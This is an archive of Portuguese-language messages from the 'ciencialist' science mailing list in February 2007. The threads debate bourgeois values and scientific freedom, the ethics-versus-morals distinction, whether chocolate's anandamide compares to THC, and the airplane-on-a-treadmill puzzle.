Bulcão,
Tenho certeza de que os nomes feios que você derramou aí embaixo não se referem ao pobre de mim!.
Lembra daquele ditado aqui do Nordeste, de nossos tempos de moleques(ao menos do meu tempo de moleque)? Da galinha a asa, se fosse comigo já estaria em casa!. Se for, estarei.
Pois é. Putz!.

Bulcão, disse, ao fim de sua preleção: "PS: Acho que estou esquecendo de dizer alguma coisa..."

Victor: Lembro-me de um ex-gerente que tive que gostava de caçar. E contava suas histórias tão detalhadas e longas que se tornavam enfadonhas. Sabem como é, histórias de pescador e caçador. E havia um funcionário, categoria de Contínuo(Serviços Gerais), que sempre o ouvia, e mais atentamente que os demais subordinados. Mas um dia o Contínuo enjou da boneca. Depois de 2 horas e meia de história de uma da caçada no interior do Ceará, numa sexzta-feira, após o expediente, o gerente disse: minto, não foi assim!. E o Contínuo, pulando da cadeira: não senhor, nada disso, mente não. Pode continuar a contar a história daí mesmo. Necas de voltar e recontar.

Mas, no caso de Bulcão, eu diria: Se esqueceu alguma coisa, trate logo de lembrar e começar a contar!...Garanto ler.
Bela exposição, essa. Não me aventuro a comentar nada, sob pena de enfear o diálogo entre os dois.

sds,
Victor.

----- Original Message -----
From: Manuel Bulcão
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 25, 2007 9:02 PM
Subject: [ciencialist] Re: A universalização dos valores morais


(Como essa minha resposta é longa, vou dividi-la em capítulos. Mas
não pensem que estou me valendo da velha falácia "apelo à
tagarelice", muito comum entre relativistas pós-modernos e que
consiste em escrever de forma copiosa e exuberante, recheando o texto
com citações, referências bibliográficas, brocardos latinos,
gigantescas expressões alemãs, palavras do português arcaico,
adjetivos aos borbotões, neologismos, onomatopoeses, pleonasmos,
epigramas, circunlocuções, proposições indecidíveis, apotegmas
oraculares, aforismas "esfinge" (do tipo "decifra-me ou não te deixo
dormir à noite"), perguntas retóricas, respostas tangenciais,
arabescos anedóticos, longas sentenças camonianas (para serem lidas
de trás pra frente ou refletidas no espelho), digressões e quejandos
e muitas, muitas, muitas vírgulas, ponto-e-vírgulas, travessões,
parênteses, colchetes, chaves, aspas simples, aspas duplas etc. -
tudo isso com o implícito intuito não só de compensar a falta do que
dizer com música verbal, de preferência com ares dodecafônicos
(transfigurando, assim, a cacofonia sem sentido em nonsense
sinfônico), como também de cansar o outro debatedor, desencorajá-lo
da leitura e, principalmente, desestimulá-lo a responder. Não, não e
não. Meu texto é grande, porém claro e informativo. É só conferir.
Mãos, ou melhor, olhos à obra!)

Olá Takata e demais,

Manuel escrevera: Da burguesia que surgiu quando as relações
mercantis se generalizaram ao ponto de penetrarem na esfera da
produção, instituindo, assim, no lugar da escravidão, o mercado da
força-de-trabalho (em que o trabalhador, antes uma rês, é posto na
condição de sujeito econômico).

Takata: Da burguesia q produziu a primeira revolução industrial em q
crianças trabalhavam em turnos de 14 horas ou mais... Cujos salários
familiares mal davam para alimentá-los...

Manuel:

1. Esse quadro que você cita começou a se modificar quando as "trade-
unions" passaram a mediar a venda da força-de-trabalho. Ora, se nas
vezes em que há supersafras os fazendeiros, para manter o preço num
nível que pelo menos cubra o custo, destroem parte significativa da
produção, os trabalhadores, de modo análogo, para aumentar seu poder
de barganha num mercado fortemente oligopsônico, como era o da força-
de-trabalho na Inglaterra, organizam-se em sindicatos, criam fundos
previdenciários e de greve e só assinam o contrato de trabalho sob
determinadas condições.

Interessante observar que essa superexploração da classe trabalhadora
não se repetiu nos processos de industrialização dos países em que
era vigente o princípio da livre territorialidade, como os EUA,
Canadá, Austrália e Nova Zelândia. Nesses países, o trabalhador podia
escolher entre trabalhar na fábrica ou receber do Estado títulos de
propriedade de terras virgens nas fronteiras, onde viveriam como
pequenos agricultores autônomos.

2. Outra coisa: estou percebendo que estamos abordando um mesmo
fenômeno (as relações mercantis), porém em níveis diferentes de
abstração. Minha análise é mais teórica e parte de "tipos ideais"
("tipo ideal" é uma categoria sociológica inventada por Max Weber),
ao passo que a sua é historiográfica e fundamentada no bom senso
empírico. Ressalve-se que uma não exclui a outra, ao contrário, elas
se complementam. Mas há quem não pense assim: os teoricistas de um
lado - que perdem o senso de realidade ao tentar reduzir esta a seus
esquemas abstratos - e os empiristas "duros" do outro - que perdem a
razão e o discernimento do essencial por se contentarem com o mero
relato fenomenológico.

Os "tipos ideais", como a expressão sugere, não existem realmente;
entretanto, ajudam-nos sobremaneira a entender a realidade. Karl
Marx, por exemplo, elaborou certas categorias abstratas ("modo de
produção" capitalista, feudal etc.) com o fim de melhor analisar
situações concretas (as diversas "formações econômico-sociais"
capitalistas, feudais...) - "do sensível às determinações abstratas
e, destas, ao concreto pensado": foi assim que Marx definiu seu
método.

Ok, as principais premissas do materialismo histórico foram
refutadas; apesar disso, os conceitos criados por Marx permanecem
válidos como instrumentos de análise - foram e ainda são utilizados
por muitos cientistas sociais não-marxistas, como Norberto Bobbio, e
até por liberais, caso de Raymond Aron e, antes dele, pelo grão-
mestre do liberalismo italiano Benedetto Croce.

Marx também foi crítico incisivo da superexploração a qual estava
submetida o proletariado inglês. Entretanto, não deixou de reconhecer
que o modelo liberal-democrático de Estado - que ele
considerava "superior" a todas as outras formas anteriores de Estado -
e os valores que lhe dão suporte - a igualdade formal, a liberdade
de contratar e o princípio segundo o qual "a cada um conforme o seu
trabalho" (a base da justiça "burguesa", segundo Lênin, e oposta a da
aristocracia, fundada na força e na hereditariedade) - são reflexos e
produtos da práxis não só da burguesia industrial como também do
operariado enquanto "mercador" da sua própria mão-de-obra. A
propósito, vale lembrar que a luta do proletariado pelo sufrágio
universal, pelo direito de se sindicalizar e por salários "justos"
teve como estandartes esses valores "burgueses" que são
prerrequisitos do contrato mercantil, repetindo: a igualdade formal,
a liberdade de associação e a garantia do salário mínimo, isto é, de
receber como contraprestação, no mínimo, o equivalente do trabalho
investido.

3. Sabe-se que os homens estabelecem entre si relações de cuidado, de
poder, de cooperação e de troca. Essas relações raramente se dão em
forma pura: a regra é elas se entrecruzarem de várias maneiras, não
arbitrariamente, mas compondo uma estrutura (no mercantilismo, as
relações de troca mercantil acham-se subordinadas às relações de
poder, comprometidas com o fortalecimento do Estado absolutista) e o
modo como se combinam afeta o "volksgeist", o qual, por sua vez,
funciona como argamassa social.

Para melhor entender esses complexos, é de grande utilidade
investigar antes e isoladamente esses tipos de relação, seus agentes,
as regras que os presidem, suas mediações e a intersubjetividade que
cada um deles determina. Para tanto, considera-se certos modelos
sociais simplificados e quase puros, como a família, o bando, a
comuna e a feira. De posse desse conhecimento, podemos então passar
do relato fenomenológico à compreensão ("compreender" - Verstehen -
de acordo com a propedêutica das ciências sociais,
significa "perceber ou alcançar as intenções do sujeito", "captar o
sentido subjetivo do comportamento humano") da vida nas formações
sociais concretas em que certo tipo de relações predomina sobre as
outras, conformando-as e sendo por elas influenciadas.

Takata: Mas voltando à questão da produtividade científica. A
autonomia individual não se configura como um pré-requisito: pode
existir produtividade científica significativa com ou sem ela.
Embora, reforçando, não esteja eu com isso a dizer q a autonomia
individual não seja um valor a ser defendido - apenas q a
produtividade científica é alheia a isso.

Manuel: Louvável a sua atitude precavida de não puxar a brasa para a
sua sardinha (afinal, você é biólogo, um cientista que brilha hoje e
brilhará muito mais no futuro, estou certo disso e por isso tenho
orgulho de conhecê-lo).

De fato, os ideólogos da burguesia, ao idealizarem o contrato
mercantil, transformando-o em modelo por excelência para a sociedade
como um todo - no passado, John Locke; atualmente, os adeptos
da "libertária" de direita e apologista do capitalismo "quimicamente
puro" Ayn Rand -, incorreram e incorrem no reducionismo vulgar, isto
é, reduzem o homem a mera condição de mercadores voluntários e
solitários de seus produtos e faculdades (semana passada, assisti a
um episódio de Os Simpsons em que a filha caçula é internada na
creche Ayn Rand, hilariante!); além do que, como conseqüência dessa
idealização, alimentam ilusões perigosas, como a crendice na
capacidade auto-reguladora do mercado.

Também é fato que no corpo da ciência surgiu o cancro do
cientificismo, o qual, atribuindo caráter onipenetrante ao método
científico-experimental, inclusive para conhecer o Bem objetivo, o
fim último da vida e da História, deu ensejo a regimes totalitários,
o nazismo e o bolchevismo, que se auto-intitulavam "expressão
política do conhecimento científico" (era corrente e assente, entre
médicos e cientistas alemães, a afirmação de que "o nacional-
socialismo é biologia aplicada"; e, na extinta URSS, o Partido
Comunista era tido como um artefato tecnológico da engenharia social
forjado pela ciência da História).

Diga-se, a propósito, que o cientificismo inclina-se para o
totalitarismo porque parte do pressuposto de que a Verdade é
plenamente cognoscível, identifica-se com o Bem e é una. Ora, a
própria ciência - principalmente a astronomia, a física quântica e o
estudo interdisciplinar dos sistemas dinâmicos complexos - reconhece
hoje a existência de fronteiras do conhecimento. Um exemplo: os
astrônomos concordam que, estando o universo em expansão acelerada,
galáxias muito distantes afastam-se da Via-Láctea com rapidez maior
que a velocidade da luz, de modo que nenhum sinal que parta delas
pode alcançar, um dia, os observadores terráqueos. Isso implica que o
universo "observável" possui fronteiras absolutas. Quanto à bondade
da verdade científica, não há dúvidas que ela é boa sempre que é útil
para forjar artefatos tecnológicos que tornem a existência humana
menos penosa. Também o conhecimento científico de que a Terra está se
aquecendo e que, em médio prazo, pode tornar-se inóspita aos seres
humanos, tal verdade é boa; pois, se a ignorássemos, não iríamos nos
precaver, pensar em meios de evitar o aquecimento global ou, caso já
seja irreversível, pelo menos tentar atrasá-lo de modo que tenhamos
tempo para nos adaptar às novas circunstâncias. Tudo isso não quer
dizer, porém, que a verdade descortinada pelo método científico seja
sempre reconfortante e complacente com nossos desejos; ao contrário,
infelizmente, no mais das vezes não é. De resto, mesmo que a Verdade
seja objetiva e una, não é ela necessariamente simétrica, isto é,
pode apresentar vários aspectos dependendo do ponto de vista. Além
disso, o conhecimento da Verdade é, por princípio, grosseiramente
granuloso, fadado a ser sempre uma aproximação; e o processo sempre
inacabado do conhecimento consiste (e isso é importante frisar) numa
atividade que avança por meio de tentativas e "erros", ou seja, o
erro é inevitável em qualquer etapa do processo cognoscitivo, e
alguns deles, como comentarei mais a frente, são mesmo fecundos. Por
isso, fiquei assombrado e muito decepcionado - por eu ser de
esquerda - ao ler a seguinte frase de Simone de Beauvoir (palavras de
bruxa na voz de uma musa e que acusam ressaibos cientificistas no
existencialismo esquerdista de Jean-Paul Sartre): "A verdade é uma, o
erro é múltiplo. Não é por acaso que a direita professa o pluralismo"
(La Pensée de droite aujourd'hui; Les Temps Modernes, 1955; p.
1539).

Sim, por todas essas razões é preciso ter cautela, precaução, não
idealizar o mercado, a cooperação e a ciência além conta, não
supervalorizar o tipo a ponto de desconsiderar as idiossincrasias das
manifestações concretas. Todavia, discordo de você quando afirma que
a produtividade científica é alheia a autonomia individual. Não
concordo porque, como salientou Richard Feynman, desde os pré-
socráticos materialistas jônicos a comunidade científica se empenha
na luta contra os estamentos sacerdotais e os Estados teocráticos ou
confessionais pelo "direito de duvidar". Textualmente: "Esta
liberdade de duvidar é uma questão importante em ciência e, creio,
também noutros campos. Nasceu de uma luta. Foi uma luta ser permitido
duvidar, não ter certezas. Não queria que esquecêssemos a importância
dessa luta e, como conseqüência, que a abandonássemos. Sinto uma
grande responsabilidade enquanto cientista que sabe do grande valor
de uma filosofia da ignorância e do progresso que essa filosofia
tornou possível, progresso esse que é fruto da liberdade de
pensamento". (extraído do livro "O Significado de Tudo"; Ed. Gradiva;
coleção Ciência Aberta).

Outra razão por que discordo é que, como Popper, sustento que a razão
não é apenas uma faculdade individual, mas também uma instituição em
que as asserções e julgamentos do indivíduo X são sujeitos a testes
por seus pares e submetidos à discussão livre, porém regrada. Quais
são essas regras de dever-ser epistemológicas? Entre outras, o dever
de considerar com deferência - e não com desdém, deboche ou cinismo -
a opinião adversa (o que não é senão o reconhecimento do outro
como "igual"), pois, por mais dissentânea e aparentemente esdrúxula,
há a possibilidade dela se revelar correta ou então de ser um
desses "erros fecundos", úteis na medida em que se assentam em
lacunas antes não percebidas no conhecimento "n" vezes corroborado.
Outro princípio importante é o respeito à "liberdade" de cada um de
questionar quem quer que seja com base na lógica e nos dados
empíricos.

A razão como faculdade individual, quando exercitada solitariamente,
pode gerar grandes "insights" e descobertas fantásticas. No entanto,
esta condição de isolamento - a ausência de qualquer pessoa cutucando
do lado de fora - fortalece a tendência de o pensamento racional
dobrar-se ao "peso das motivações afetivas e emocionais" (Contardo
Calligaris); de a razão se transformar em mecanismo de defesa
psicológica (racionalização) e instrumento do "viés de confirmação",
consubstanciado na procura, amiúde inconsciente, de hipóteses "ad
hoc" que sustentem seu ponto de vista inicial, busca esta motivada
pelo orgulho (não querer dar o braço a torcer) e/ou pelo prazer
narcísico de saber que está do lado da verdade.

Pelo motivo acima exposto, Popper insistiu na tese do caráter
institucional da Razão: que, somente como empreendimento coletivo -
e, por isso, orientado por uma moral de convivência - a Razão pode
escapar das arapucas subjetivistas e alcançar a objetividade possível.

No seu livro "A Sociedade Aberta e Seus Inimigos", Popper também
defende, a meu ver corretamente, que o racionalismo é ele próprio uma
escolha moral. Com efeito, se não se pode persuadir um solipsista -
i.e., um subjetivista irracionalista -, seja por meio da lógica ou da
experiência, de que o outro existe como entidade autônoma,
independente e, portanto, real (se lhe chuto o traseiro, o solipsista
dirá que "sonhou que alguém lhe chutou o traseiro"), então a
submissão do pensamento à lógica e à experiência é conseqüência de
uma livre escolha. Essa escolha é moral porque, a partir dela, a
autonomia do outro - sua existência como sujeito independente - é
reconhecida. Demais, reconhecem-se os outros como pares, "alter
egos", igualdade estabelecida por uma faculdade comum: a Razão; por
uma metalinguagem (a lógica) que permite a comunicação entre
indivíduos das mais variadas culturas, o intercâmbio de idéias e a
busca mais do consenso do que da dissuasão pelas armas, por meio do
engodo tático, através da ameaça do inferno ou mediante o cultivo do
medo do Mistério.

Também concordo, "mutatis mutandis", com Lee Smolin. Este físico
teórico afirmou, numa entrevista à Folha de S. Paulo em 05/11/06,
que "a comunidade científica é um modelo para a sociedade
democrática, uma vez que, na primeira, exige-se que se proceda de boa-
fé, dentro de regras e com respeito aos que discordam de você".

Para concluir, cito o seguinte texto de minha autoria:

"(...) embora a Ciência não nos possa fornecer, através do seu
método, um sistema ético inequívoco e verdadeiro, não se pode,
todavia, produzir conhecimento científico se não se parte de um
determinado princípio ético. Segundo Jacques Monod, `o conhecimento
verdadeiro ignora os valores. Para fundá-lo, porém, é preciso um
juízo ou, antes, um axioma de valor' (O Acaso e a Necessidade; Ed.
Vozes; Petrópolis - RJ; 1989; p. 194. Qual é esse `valor primitivo
que funda o conhecimento'? Para Monod, trata-se do compromisso com a
objetividade, ou, nas palavras de I. Prigogine, `o respeito à
natureza': a noção de que, se quisermos transformar a realidade de
modo a fazê-la atender às nossas necessidades, `devemos' obedecer às
suas leis que são independentes dos nossos desejos e vontade
(i.e., `objetivas'). Ora, a rejeição desse `mal' que é o
subjetivismo - para o qual o mundo não passa de propriedade do
Sujeito - é o primeiro e necessário passo para a aceitação do outro
como diferente; isto é, para que consideremos qualquer outro
indivíduo, seja próximo ou distante, como `alter ego' e não como
reflexo de Narciso ou reles instrumento de nossos interesses
personalíssimos."

"Vale dizer que sobre o postulado da objetividade ergue-se não só a
Ciência, mas também um novo humanismo - humanismo que não é
antropocentrismo ou narcisismo da espécie, pois, como salientou
brilhantemente C. Lévi-Strauss, `um humanismo adequadamente ordenado
não pode começar espontaneamente, mas deve colocar o mundo antes da
vida, a vida antes do homem e o respeito pelos outros antes do
egoísmo'. (Mythologiques III: L'Origine des Maniéres de Table;
1968)." - Manuel Soares Bulcão Neto; Sombras do Iluminismo; 7Letras;
Rio de Janeiro; 2006; pp. 167/168.

Abraços,
Manuel Bulcão
PS: Acho que estou esquecendo de dizer alguma coisa...





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Chocolate poderia se tornar ilegal
FROM: "Eduardo Santos Gama" <edusantosgama@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 01:52

Li no livro “Os Botões de Napoleão”, algo interessante em um trecho no
capítulo sobre cafeína onde diz:

Além do alcalóide cafeína, no chocolate também tem o composto anandamina
que nos dá uma sensação agradável e age ligando-se ao mesmo receptor do
cérebro que o composto tetrahidrocanabinol, no livro os autores deixam
uma pergunta no ar:

O que queremos considerar ilegal, a molécula de THC ou seu efeito sobre
o humor? Se for o efeito sobre o humor, não deveria o chocolate ser
ilegal também ?

Eduardo


--
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23/2/2007


--
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23/2/2007



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SUBJECT: Re: Chocolate poderia se tornar ilegal
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 02:17

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Santos Gama"
> O que queremos considerar ilegal, a molécula de THC ou seu efeito
> sobre o humor? Se for o efeito sobre o humor, não deveria o
> chocolate ser ilegal também ?

Qual o teor de anandamina no chocolate e qual o equivalente
farmacocinético do THC?

Pessoas produzem endorfinas. Não é ilegal produzir endorfina em seu
organismo, eqto produzir, comercializar e usar morfina é proibido em
grande parte do mundo.

Qtas pessoas entram em estado de alteração de consciências com
chocolate? Maconha alimenta?

Há vários aspectos a se considerar.

[]s,

Roberto Takata



SUBJECT: Re: A universalização dos valores morais
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 04:00

--- Em ciencialist@yahoogrupos.com.br, Manuel Bulcão
> 1. Esse quadro que você cita começou a se modificar quando as
> "trade-unions" passaram a mediar a venda da força-de-trabalho.

Uma demanda social e, posteriormente, política. E, só daí, mercantil.
Não se trata de uma forma de auto-regulação do mercado (na sua
definição mais abaixo - uma crendice), mas de uma regulação exógena do
mercado - entre outras coisas com os estabelecimentos legais de temas
como direitos de greve, de sindicalização, etc (cujo desenvolvimento
ainda se encontra em curso - ou em crise, a depender do ponto de vista).

> 2. Outra coisa: estou percebendo que estamos abordando um mesmo
> fenômeno (as relações mercantis), porém em níveis diferentes de
> abstração. Minha análise é mais teórica e parte de "tipos ideais"
> ("tipo ideal" é uma categoria sociológica inventada por Max Weber),
> ao passo que a sua é historiográfica e fundamentada no bom senso
> empírico. Ressalve-se que uma não exclui a outra, ao contrário, elas
> se complementam. Mas há quem não pense assim: os teoricistas de um
> lado - que perdem o senso de realidade ao tentar reduzir esta a seus
> esquemas abstratos - e os empiristas "duros" do outro – que perdem a
> razão e o discernimento do essencial por se contentarem com o mero
> relato fenomenológico.

Bem, se a teoria precisa de constantes remendos para se ajustar à
descrição da realidade - algo pode estar errado com a teoria. (Não
estou falando de ajustes finos.)

> Todavia, discordo de você quando afirma que a produtividade
> científica é alheia a autonomia individual. Não concordo porque,
> como salientou Richard Feynman, desde os pré-socráticos
> materialistas jônicos a comunidade científica se empenha
> na luta contra os estamentos sacerdotais e os Estados teocráticos ou
> confessionais pelo "direito de duvidar".

Aqui volta a história dos múltiplos picos na curva do gráfico. O
desenvolvimento científico trilhou, de modo geral, esse caminho de se
libertar das amarras de uma visão centralizadora, porq:
- a existência de uma visão centralizadora era a condição predominante
qdo a ciência moderna surgiu;
- essa visão centralizadora certamente estava em um dos muitos vales
do gráfico.

Só q isso, de certa maneira, é incidental. Foi assim. Não quer dizer q
inexoravelmente teria q ser assim.

Recorro a uma analogia momentânea para q essa idéia possa fazer
sentido: a vida começou simples e com o tempo surgiram linhagens mais
complexas. Não quer com isso dizer q a evolução da vida
inexoravelmente caminhe para o aumento de complexidade. Se fosse dado
a vida começar de modo complexo - possivelmente as leis da física não
permitiria isso - surgiriam mais e mais linhagens cada vez mais simples.

Oquei, agora como essa comparação se aplica à relação entre
desenvolvimento científico e liberdade individual? Considere uma
ditadura comandada por um regime não apenas ateísta, como
antirreligiosa. Os cientistas não têm a liberdade de questionar o
dogma da inexistência de deuses. Haverá emperramento do progresso
científico por conta disso? (Em vez da ciência evoluir desprendendo-se
das amarras de uma visão central religiosa, ela está, à partida, preso
em um mundo com uma visão central ateísta.)

Sim, há uma boa dose de especulação nesse meu questionamento. Mas,
embora eu acredite q a ciência nesse cenário desenvolver-se-ia muito
bem obrigado (talvez até com uma exuberância q nunca alcançaremos
neste mundo), jamais defenderia q isso pudesse ocorrer. Não em nome da
ciência, q nada teria a perder, mas em função de outros valores.

[]s,

Roberto Takata



SUBJECT: Re: Res: [ciencialist] P/ José Renato- Re: E ética de cada um...
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 10:10

Eurico, eu acho que Jose Renato não quis dizer isso
não...


--- "Eurico Ferreira de Souza Jr."
<caodejah@yahoo.com.br> escreveu:

> ----- Mensagem original ----
> De: José Renato <jrma@terra.com.br>
> Para: ciencialist@yahoogrupos.com.br
> Enviadas: Sábado, 24 de Fevereiro de 2007 22:06:02
> Assunto: Re: [ciencialist] P/ Murilo - Re: E ética
> de cada um...
>
>
>
>
>
>
>
>
>
>
>
>
> ............ ......... ......... ...
>
> Olá, Homero e Murilo! O que se busca deste sempre,
> melhor registrado por
>
> Aristóteles, é o absoluto.
>
>
> [E]> Essa linha filosófica é defendida
> principalmente pelos filósofos
> ligados à igreja. Confundir moral com ética (o
> individual-íntimo
> com o coletivo-público) é típico de ideologias
> totalitárias.
>
>
> Uma, regra ética-moral que independa das
>
> premissas momentâneas, necessidades atuais, costumes
> sociais, pessoais,
>
> históricos, tradicionais, humor do legislador,
> situação econômica, etc. Um
>
> regra de descreva a melhor atitude a ser tomada pelo
> cidadão, em qualquer
>
> situação ou circunstância. Daí a dificuldade. ..
>
> [E]> Quem quer uma regra dessas? Quanto mais
> atrasada é uma sociedade
> mais as regras são desse tipo. (Imaginem a diferença
> entre ser julgado na
> inglaterra, onde mal tem leis escritas e o juiz é
> soberano, e ser julgado
> numa republiqueta como o brasil, onde até o juiz
> lamenta a injustiça
> da sentença que profere.)
> Uma regra que confunde ética com moral e que passa
> por cima das
> necessidades, costumes, história, economia, etc só
> pode sair da cabeça
> de um religioso ou de quem defende regimes
> totalitários.
> A humanidade precisa de (e merece) mais que isso.
>
>
>
>
>
>
> []s
>
> José Renato
>
> ............ ......... ......... ...
>
>
>
> From: "oraculo333" <oraculo@To: <ciencialist@
> yahoogrupos. com.br>
>
> Sent: Thursday, February 15, 2007 10:38 PM
>
> Subject: [ciencialist] P/ Murilo - Re: E ética de
> cada um...
>
>
>
> Olá Murilo
>
>
>
> Murilo: "Eu juro que há diferença entre a *ética* e
> a *moral*"
>
>
>
> Esta é realmente uma questão muito interessante e
> complexa. Muitas
>
> vezes usamos os dois termos com o mesmo sentido, mas
> muitos filósofos
>
> e especialistas (mais inteligentes que eu,
> certamente.. :-) pensam que
>
> se pode separar os dois.
>
>
>
> O problema é que existem quase tantas formas de
> separar os termos
>
> quanto existem filósofos..:- )
>
>
>
> A moral tende realmente a ser mais ligada a
> "costumes", sendo a ética,
>
> em geral, tida como mais universal (de forma
> relativa e não absoluta,
>
> claro).
>
>
>
> Uma forma que me agrada é a separação de alcance dos
> termos. Moral são
>
> normas que atingem o próprio individuo, sem efeitos
> em terceiros.
>
> Ética seriam normas e regras que atingem a
> terceiros, que tem efeitos
>
> além do indivíduo.
>
>
>
> Como se vestir (ou não vestir), que partes do corpo
> cobrir, seria algo
>
> relacionado a moral. Afeta ao individuo, e nada
> mais. Assassinato é
>
> uma questão ética, pois seu efeito atinge terceiros
> (que podem não
>
> gostar de serem assassinados. .:-)
>
>
>
> Outra forma seria estrutural. Moral se refere a
> norma correta de agir,
>
> ética a reflexão sobre a norma. Assim, a regra de
> define o adultério
>
> como errado é moral. E a reflexão racional sobre o
> porque é errado
>
> cometer adultério, uma questão para a ética.
>
>
>
> Neste debate, me parece, usamos os termos como
> sinônimos, ou quase.
>
> Como estamos querendo determinar se regras ou
> considerações sobre
>
> essas regras, podem ser absolutas, universais, ou se
> sempre dependerão
>
> de culturas ou contratos sociais, não é preciso
> separar os termos para
>
> discutir o assunto.
>
>
>
> Um abraço.
>
>
>
> Homero
>
>
>
>
>
>
>
>
>
> __.
>
>
>
>
>
>
=== message truncated ===


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O que há é pouca gente para dar por isso... "
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SUBJECT: Re: [ciencialist] Chocolate poderia se tornar ilegal
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 10:17

Eduardo, além dos aspectos listados por Takata, tenho a impressão que o
chocolate não foi considerado ilegal porque antes do cara entrar num barato
entra no banheiro com uma bruta caganeira...
[]s
JR
.............................................

----- Original Message -----
From: "Eduardo Santos Gama" <edusantosgama@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 1:52 AM
Subject: [ciencialist] Chocolate poderia se tornar ilegal


Li no livro "Os Botões de Napoleão", algo interessante em um trecho no
capítulo sobre cafeína onde diz:

Além do alcalóide cafeína, no chocolate também tem o composto anandamina
que nos dá uma sensação agradável e age ligando-se ao mesmo receptor do
cérebro que o composto tetrahidrocanabinol, no livro os autores deixam
uma pergunta no ar:

O que queremos considerar ilegal, a molécula de THC ou seu efeito sobre
o humor? Se for o efeito sobre o humor, não deveria o chocolate ser
ilegal também ?

Eduardo


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SUBJECT: Re: [ciencialist] P/ Murilo - Re: E ética de cada um...
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 10:18

Eu estou tentando vislumbrar mais ou menos isso que
Jose Renato disse. A primeira coisa que notei é que
essa regra deverá atingir todos os homens sem exceção
por isso me ocorreu logo a ideia de alguma regra que
seja natural(exemplo: lei da gravidade).
Estou a ponderar sobre isso.


> Olá, Homero e Murilo! O que se busca deste sempre,
> melhor registrado por
> Aristóteles, é o absoluto. Uma, regra ética-moral
> que independa das
> premissas momentâneas, necessidades atuais, costumes
> sociais, pessoais,
> históricos, tradicionais, humor do legislador,
> situação econômica, etc. Um
> regra de descreva a melhor atitude a ser tomada pelo
> cidadão, em qualquer
> situação ou circunstância. Daí a dificuldade...
> []s
> José Renato


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SUBJECT: Re: [ciencialist] avião em esteira
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 26/02/2007 10:33

O que mantém o avião no ar é o diferencial da velocidade do vento na parte
superior e inferior das asas. No caso dos caças Harries, ingleses, a
decolagem é feita a custa do empuxo das turbinas na vertical. Depois é que
acelera na horizontal para obter sustentação aerodinâmica. Nos foguetes, o
empuxo principal de sustentação é devido ao diferencial das forças atuantes
no bojo da câmara de combustão.
[]s
José Renato
...........................................

From: "Luiz Ferraz Netto" <leobarretos@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, February 26, 2007 10:52 AM
Subject: Re: [ciencialist] avião em esteira


Sim, o tema já foi discutido por aqui.

Não recordo quais foram meus argumentos à época mas, hoje, responderia
assim:

Os construtores de porta-aviões não são nenhuma toupeira! Se a variável
"esteira rolante" funcionasse, com certeza tais projetistas a teriam
colocado nos porta-aviões para a decolagem num 'espaço' restrito. O que
interessa é a velocidade do avião em relação ao ar e não em relação ao
navio, aeroporto ou esteira. O ar é o referencial básico para a decolagem e
vôo.
A decolagem só seria possível mediante foguete com combustível e comburente
próprios (não poderia usar do ar local). Com ar parado, a turbina dos aviões
à jato só consegue o deslocamento do avião em baixa velocidade na pista (não
tem entrada de ar suficiente para a potência máxima). Ganhando velocidade
(lentamente) na longa pista, a entrada de ar aumenta e conseqüentemente a
eficiência do jato aumenta ... progressivamente. Se a pista é móvel, para o
avião o ar continua parado e conseqüentemente baixa potência.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 25 de fevereiro de 2007 18:54
Assunto: Re: [ciencialist] avião em esteira


Bem, não participo muito postando.
Algumas idéias preliminares:
Mas o avião estaria em repouso em relação ao solo, não? Além disso, creio
que dessa forma ele não conseguiria a corrente de ar sobre a asa necessária,
pois sua velocidade em relação às correntes de ar praticamente não se
alterariam...

Paulo Marcelo

----- Original Message -----
From: Nando
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, February 25, 2007 6:44 PM
Subject: [ciencialist] avião em esteira


Com certeza já deve ter sido discutido aqui...

Um avião está estacionado em uma pista móvel (como se fosse uma esteira
rolante). O avião se move em um sentido, e a esteira no sentido oposto.
A esteira tem um sistema de controle que acompanha a velocidade do avião
e faz com que a esteira tenha exatamente a mesma velocidade, no sentido
oposto. A pergunta é: o avião vai conseguir decolar?
http://forum.hardmob.com.br/showthread.php?t=289348

Outras discussões sobre o mesmo assunto:
http://www.kottke.org/06/02/plane-conveyor-belt
http://www.boingboing.net/2006/12/11/airplanetreadmill_pr.html

Eu, aaaaaaaaacho que o avião decola... alguém discorda?

Não sei se isso é bom ou não, mas no 1º link tem vários carinhas
(graduandos em engenharias na USP e outras universidades de 'nome')
discordando entre si, então...




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SUBJECT: Re: [ciencialist] Crueldade com animais
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 26/02/2007 10:43

Jose Renato, suas respostas estão com o sinal ">":

> Olá, Chicão!
> Spinoza já ironizava: o virtuoso é um egoísta de
> luneta.

Os antigos gregos não diriam a mesma coisa.

> Em qual deles vc acha que está a sabedoria, a
> justiça , a racionalidade e -
> o que todos almejamos - a vida em paz para desfrutar
> de todas suas
> maravilhas, sem precisar sacanear, explorar ou
> infelicitar alguém. Muitos,
> porém, acham isso utópico e preferem obter tudo o
> que for possível aqui e
> agora. E assim, chegamos no estado onde estamos...

Rapaz, o que eu estou querendo são principios que
motivam essas coisas. O que é justiça??O que é
racionalidade??? Voce fala que é bom , justo e
racional sem explicar o porquÊ. Não somos mais
crianças e nem somos religiosos para dividir as coisas
